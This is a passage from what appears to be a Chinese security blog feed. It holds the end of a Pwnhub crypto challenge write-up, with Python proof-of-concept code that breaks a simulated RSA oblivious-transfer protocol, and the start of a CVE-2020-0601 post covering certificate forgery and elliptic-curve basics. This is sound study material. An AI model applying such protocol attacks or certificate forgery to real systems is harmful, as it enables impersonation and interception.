= init_set</span><br><span class="line">        self.possible = <span class="built_in">set</span>()</span><br><span class="line">        self.index = index</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">add_possible</span>(<span class="params">self, num</span>):</span><br><span class="line">        <span class="comment"># if num &lt; 0:</span></span><br><span class="line">        <span class="comment">#     num += 256</span></span><br><span class="line">        self.possible.add(num % <span class="number">256</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">check_possible</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        becuase not all number is possible, here we </span></span><br><span class="line"><span class="string">        should and the final_set with possible set</span></span><br><span class="line"><span class="string">        And finally, we will clear the possible set</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        self.final_set &amp;= self.possible</span><br><span class="line">        self.possible = <span class="built_in">set</span>()</span><br><span class="line">        condition = <span class="built_in">len</span>(self.final_set) &gt; <span class="number">0</span></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> condition:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;index is &quot;</span> + <span class="built_in">str</span>(self.index))</span><br><span class="line">        <span class="comment"># assert(condition)</span></span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">len</span>(self.final_set) &gt; <span class="number">0</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">and_possible</span>(<span class="params">self, s</span>):</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">type</span>(s) == <span class="built_in">type</span>(<span class="built_in">set</span>()):</span><br><span class="line">            self.possible &amp;= s</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;Please check input type&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_length</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">len</span>(self.final_set)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">in_set</span>(<span class="params">self, n</span>):</span><br><span class="line">        <span class="keyword">return</span> n <span class="keyword">in</span> self.final_set</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__str__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;the set is &#123;&#125;&quot;</span>.<span class="built_in">format</span>(self.final_set)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Server</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        self.key = <span class="literal">None</span></span><br><span class="line">        self.x0 = self.x1 = <span class="number">0</span></span><br><span class="line">        self.msg0 = self.msg1 = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">init_server</span>(<span class="params">self</span>):</span><br><span class="line">        self.random = SystemRandom()</span><br><span class="line">        <span class="keyword">if</span> os.path.isfile(<span class="string">&quot;key.pem&quot;</span>):</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;key.pem&quot;</span>, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">                key = RSA.importKey(f.read())</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            key = RSA.generate(<span class="number">2048</span>)</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;key.pem&quot;</span>, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">                f.write(key.exportKey(<span class="string">&quot;PEM&quot;</span>))</span><br><span class="line">        self.key = key</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_key</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">return</span> self.key</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">generate_x0_x1</span>(<span class="params">self</span>):</span><br><span class="line">        x0 = self.random.randrange(self.key.n)</span><br><span class="line">        x1 = self.random.randrange(self.key.n)</span><br><span class="line">        self.x0, self.x1 = x0, x1</span><br><span class="line">        <span class="keyword">return</span> x0, x1</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">random_str</span>(<span class="params">self, n</span>):</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;&quot;</span>.join([self.random.choice(string.ascii_letters) <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(n)])</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">generate_value</span>(<span class="params">self, v</span>):</span><br><span class="line">        msg0 = bytes_to_long(self.random_str(<span class="number">2048</span> // <span class="number">8</span> - <span class="number">1</span>).encode())</span><br><span class="line">        msg1 = bytes_to_long(self.random_str(<span class="number">2048</span> // <span class="number">8</span> - <span class="number">1</span>).encode())</span><br><span class="line">        value0 = (msg0 + <span class="built_in">pow</span>(v - self.x0, self.key.d, self.key.n)) % self.key.n</span><br><span class="line">        value1 = (msg1 + <span class="built_in">pow</span>(v - self.x1, self.key.d, self.key.n)) % self.key.n</span><br><span class="line">        self.msg0 = msg0 </span><br><span class="line">        self.msg1 = msg1</span><br><span class="line">        <span class="keyword">return</span> value0, value1</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">check_answer</span>(<span class="params">self, msg0, msg1</span>):</span><br><span class="line">        <span class="keyword">if</span> msg0 == self.msg0 <span class="keyword">and</span> msg1 == self.msg1:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;You find the answer!&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;Sorry the answer is wrong~&quot;</span>)</span><br><span class="line">            </span><br><span class="line"></span><br><span class="line">possible_num = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span>):</span><br><span class="line">    possible_num.append(NumSet(&#123;t <span class="keyword">for</span> t <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span>)&#125;, i))</span><br><span class="line"><span class="comment"># possible_num = [NumSet(&#123;i for i in range(256)&#125;, i) for i in range(256)]</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check_scale</span>(<span class="params">num</span>):</span><br><span class="line">    <span class="keyword">global</span> possible_num</span><br><span class="line">    <span class="comment"># @param num:bytes number that used to limit value</span></span><br><span class="line">    left_carry = <span class="number">0</span></span><br><span class="line">    right_carry = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">255</span>, -<span class="number">1</span>, -<span class="number">1</span>):</span><br><span class="line">        each_num = num[i]</span><br><span class="line">        <span class="keyword">if</span> i == <span class="number">0</span>:</span><br><span class="line">            possible_num[i].add_possible(each_num - left_carry)</span><br><span class="line">            possible_num[i].add_possible(each_num)</span><br><span class="line">            possible_num[i].check_possible()</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">for</span> c <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">ord</span>(<span class="string">&#x27;A&#x27;</span>), <span class="built_in">ord</span>(<span class="string">&#x27;z&#x27;</span>)+<span class="number">1</span>):</span><br><span class="line">                tmp = c</span><br><span class="line">                result = each_num - tmp</span><br><span class="line">                <span class="keyword">if</span> left_carry == <span class="number">1</span>:</span><br><span class="line">                    result -= <span class="number">1</span></span><br><span class="line">                possible_num[i].add_possible(result)</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> right_carry == <span class="number">0</span>:</span><br><span class="line">                possible_num[i].add_possible(each_num - <span class="built_in">ord</span>(<span class="string">&#x27;A&#x27;</span>))</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> possible_num[i].check_possible() :</span><br><span class="line">                <span class="built_in">print</span>(each_num)</span><br><span class="line">                <span class="built_in">print</span>(possible_num[i].final_set)</span><br><span class="line">                <span class="keyword">assert</span>(<span class="literal">False</span>)</span><br><span class="line">            <span class="keyword">if</span> each_num &lt; <span class="built_in">ord</span>(<span class="string">&#x27;A&#x27;</span>):</span><br><span class="line">                left_carry = right_carry = <span class="number">1</span></span><br><span class="line">            <span class="keyword">elif</span> each_num &lt; <span class="built_in">ord</span>(<span class="string">&#x27;z&#x27;</span>):</span><br><span class="line">                left_carry = <span class="number">1</span></span><br><span class="line">                right_carry = <span class="number">0</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                left_carry = right_carry = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">generate_number</span>():</span><br><span class="line">    tmp_ans = []</span><br><span class="line">    tmp_num = []</span><br><span class="line">    <span class="keyword">for</span> each <span class="keyword">in</span> possible_num:</span><br><span class="line">        tmp_num.append(each.final_set)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> each <span class="keyword">in</span> product(*tmp_num):</span><br><span class="line">        tmp_number = bytes_to_long(<span class="built_in">bytes</span>(each))</span><br><span class="line">        tmp_ans.append(tmp_number)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> tmp_ans</span><br><span class="line">    </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">guess_num</span>(<span class="params">value_1, key, we_need_know, x0x1</span>):</span><br><span class="line">    <span class="keyword">global</span> test_left_scale</span><br><span class="line">    bytes_value = long_to_bytes(value_1, <span class="number">256</span>)</span><br><span class="line">    check_scale(bytes_value)</span><br><span class="line">    all_possibles_number = <span class="number">1</span></span><br><span class="line">    all_possibles_array = []</span><br><span class="line">    <span class="keyword">for</span> i, each <span class="keyword">in</span> <span class="built_in">enumerate</span>(possible_num):</span><br><span class="line">        all_possibles_array.append(each.get_length())</span><br><span class="line">        all_possibles_number *= each.get_length()</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;&#123;&#125;:&#123;&#125;&quot;</span>.<span class="built_in">format</span>(all_possibles_number, all_possibles_array))</span><br><span class="line">    <span class="keyword">if</span> all_possibles_number &lt; <span class="number">500000</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Ok, we can get length&quot;</span>)</span><br><span class="line">        index = <span class="number">0</span></span><br><span class="line">        ans_array = generate_number()</span><br><span class="line">        <span class="keyword">for</span> m <span class="keyword">in</span> ans_array:</span><br><span class="line">            m %= key.n</span><br><span class="line">            <span class="comment"># if m == we_need_know:</span></span><br><span class="line">            <span class="keyword">if</span> <span class="built_in">pow</span>(m, key.e, key.n) == x0x1:</span><br><span class="line">                <span class="keyword">return</span> m</span><br><span class="line"></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Failed&quot;</span>)</span><br><span class="line">        <span class="keyword">assert</span>(<span class="literal">False</span>)</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="comment"># global test_scale</span></span><br><span class="line">    <span class="comment"># random = SystemRandom()</span></span><br><span class="line">    first_server = Server()</span><br><span class="line">    first_server.init_server()</span><br><span class="line">    x0, x1 = first_server.generate_x0_x1()</span><br><span class="line">    v = x0</span><br><span class="line">    msg0, value1 = first_server.generate_value(v)</span><br><span class="line">    key = first_server.get_key()</span><br><span class="line">    we_need_know = <span class="built_in">pow</span>(v - x1, key.d, key.n)</span><br><span class="line">    guess0 = v</span><br><span class="line">    msg1 = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="comment"># here work as server</span></span><br><span class="line">        new_server = Server()</span><br><span class="line">        new_server.init_server()</span><br><span class="line">        x_0, x_1 = new_server.generate_x0_x1()</span><br><span class="line">        v = x0-x1+x_0</span><br><span class="line">        value_0, value_1 = new_server.generate_value(v)</span><br><span class="line">        num = guess_num(value_0, key, we_need_know, (x0-x1)%key.n)</span><br><span class="line">        <span class="keyword">if</span> num == we_need_know:</span><br><span class="line">            msg1 =  (value1 - num) % key.n</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;successful!&quot;</span>)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        num = -<span class="number">1</span></span><br><span class="line">        <span class="keyword">if</span> num != -<span class="number">1</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    first_server.check_answer(msg0, msg1)</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="后记">后记</h2><p>整个题目前前后后花了大概有半个月的时间来解，除了平时上班之外，其实剩余的时间也是不少，不过最近因为各种原因，心思总是不能集中在一件事情上，导致实际上公式老早就推导完成，但是实际上poc却写了有两周这样无厘头的事情。</p><p>关于密码学</p><ul><li>边界条件真的很重要。尤其这种带有猜测性质的问题，poc很多时候要么会猜测错误答案导致最后某个字节可能的取值为空，要么会少猜测一些值导致迟迟不能进行爆破，其实很大原因是因为边界值搞得不对。</li><li>跳出纯粹的数学思维。这可能更加是针对协议来说，协议里面有一条<strong>RSA需要在每次握手的时候进行变化</strong>，为什么要这么做呢？当初我以为是有什么没见过的数学原理在里面，现在想想协议规定这一条实际上应该就是为了预防这种<strong>单次链接未结束的时候，进行多次链接</strong>这种特殊情况。在考虑协议的时候，除了正向考虑问题（直接从头到尾寻找整个流程中可以被攻击的算法），有时候也可以逆转思路来考虑（不是顺序触发流程中的条件，而是检查协议本身是否存在可以泄露信息的地方）</li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;好久没看到&lt;code&gt;Pwnhub&lt;/code&gt;出题，于是趁着自己也研究了一下密码学相关的东西，看看能不能做出来一题。然而出题人实在是强，让人再一次明白了思路开阔的重要性&lt;/p&gt;</summary>
    
    
    
    <category term="Crypto" scheme="https://showlinkroom.me/categories/Crypto/"/>
    
    
    <category term="pwnhub" scheme="https://showlinkroom.me/tags/pwnhub/"/>
    
    <category term="protocol" scheme="https://showlinkroom.me/tags/protocol/"/>
    
    <category term="oblivious transfer" scheme="https://showlinkroom.me/tags/oblivious-transfer/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2020-0601 Research</title>
    <link href="https://showlinkroom.me/2020/01/21/CVE-2020-0601-Research/"/>
    <id>https://showlinkroom.me/2020/01/21/CVE-2020-0601-Research/</id>
    <published>2020-01-21T07:43:08.000Z</published>
    <updated>2021-04-24T07:15:56.269Z</updated>
    
    <content type="html"><![CDATA[<p>一直企图复现CVE，这次来了个简单的，让我研究一哈</p><h2 id="more-cve-2020-0601-的相关了解"><span id="more"></span><br>CVE-2020-0601 的相关了解</h2><h2 id="漏洞简介">漏洞简介</h2><p>Windows 的<code>crypt32.dll</code>模块中，对于使用了 <strong>椭圆曲线密码（ Elliptic Curve Cryptography ECC）</strong> 的证书的验证的过程出现纰漏，使得攻击者可以通过伪造证书，给一些恶意软件签名，伪装成正常的软件，或者强行安装驱动；亦或者伪造https证书，实现中间人攻击。</p><h2 id="具体细节">具体细节</h2><h3 id="elliptic-curve-cryptography">Elliptic Curve Cryptography</h3><p>要想了解这个漏洞，首先得了解一下这个<code>ECC</code>。这里选取课本上对<code>ECC</code>的定义。<br>首先我们需要定义以下什么叫做<strong>椭圆曲线</strong>。设<code>F</code>表示一个域，则在这个域上的如下形式的表达式</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>y</mi><mn>2</mn></msup><mo>+</mo><msub><mi>a</mi><mn>1</mn></msub><mi>x</mi><mi>y</mi><mo>+</mo><msub><mi>a</mi><mn>3</mn></msub><mi>y</mi><mo>=</mo><msup><mi>x</mi><mn>3</mn></msup><mo>+</mo><msub><mi>a</mi><mn>2</mn></msub><msup><mi>x</mi><mn>2</mn></msup><mo>+</mo><msub><mi>a</mi><mn>4</mn></msub><mi>x</mi><mo>+</mo><msub><mi>a</mi><mn>6</mn></msub></mrow><annotation encoding="application/x-tex">y^2+a_1xy+a_3y = x^3+a_2x^2+a_4x+a_6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0585479999999998em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.7777700000000001em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathdefault">x</span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.9474379999999999em;vertical-align:-0.08333em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.0141079999999998em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathdefault">x</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">6</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>确定的点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>∈</mo><mi>F</mi><mi>x</mi><mi>F</mi></mrow><annotation encoding="application/x-tex">(x,y) \in FxF</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathdefault">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mord mathdefault">x</span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span></span></span></span> 以及一个特殊的无穷远点O所构成的集合，被称为椭圆曲线，其中的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>a</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>a</mi><mn>2</mn></msub><mo separator="true">,</mo><msub><mi>a</mi><mn>3</mn></msub><mo separator="true">,</mo><msub><mi>a</mi><mn>4</mn></msub><mo separator="true">,</mo><msub><mi>a</mi><mn>6</mn></msub></mrow><annotation encoding="application/x-tex">a_1, a_2, a_3, a_4, a_6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">6</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>∈F。 上述式子同时被称为<code>Weierstrass方程</code></p><p>然后我们加密算法中讨论的椭圆曲线在满足F的特征既不等于2又不等于3（就是说 mod 的数字既不是2也不是3）的时候，上述椭圆曲线的方程可以化简为</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>y</mi><mn>2</mn></msup><mo>=</mo><msup><mi>x</mi><mn>3</mn></msup><mo>+</mo><mi>a</mi><mi>x</mi><mo>+</mo><mi>b</mi></mrow><annotation encoding="application/x-tex">y^2=x^3+ax+b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0585479999999998em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.9474379999999999em;vertical-align:-0.08333em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord mathdefault">a</span><span class="mord mathdefault">x</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathdefault">b</span></span></span></span></span></p><p>其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo>∈</mo><mi>F</mi></mrow><annotation encoding="application/x-tex">x, y \in F</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335400000000001em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span></span></span></span></p><h4 id="满足加密算法要求的椭圆曲线">满足加密算法要求的椭圆曲线</h4><p>在实数域上的一元三次方程 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mn>3</mn></msup><mo>+</mo><mi>a</mi><mi>x</mi><mo>+</mo><mi>b</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">x^3+ax+b=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.897438em;vertical-align:-0.08333em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" 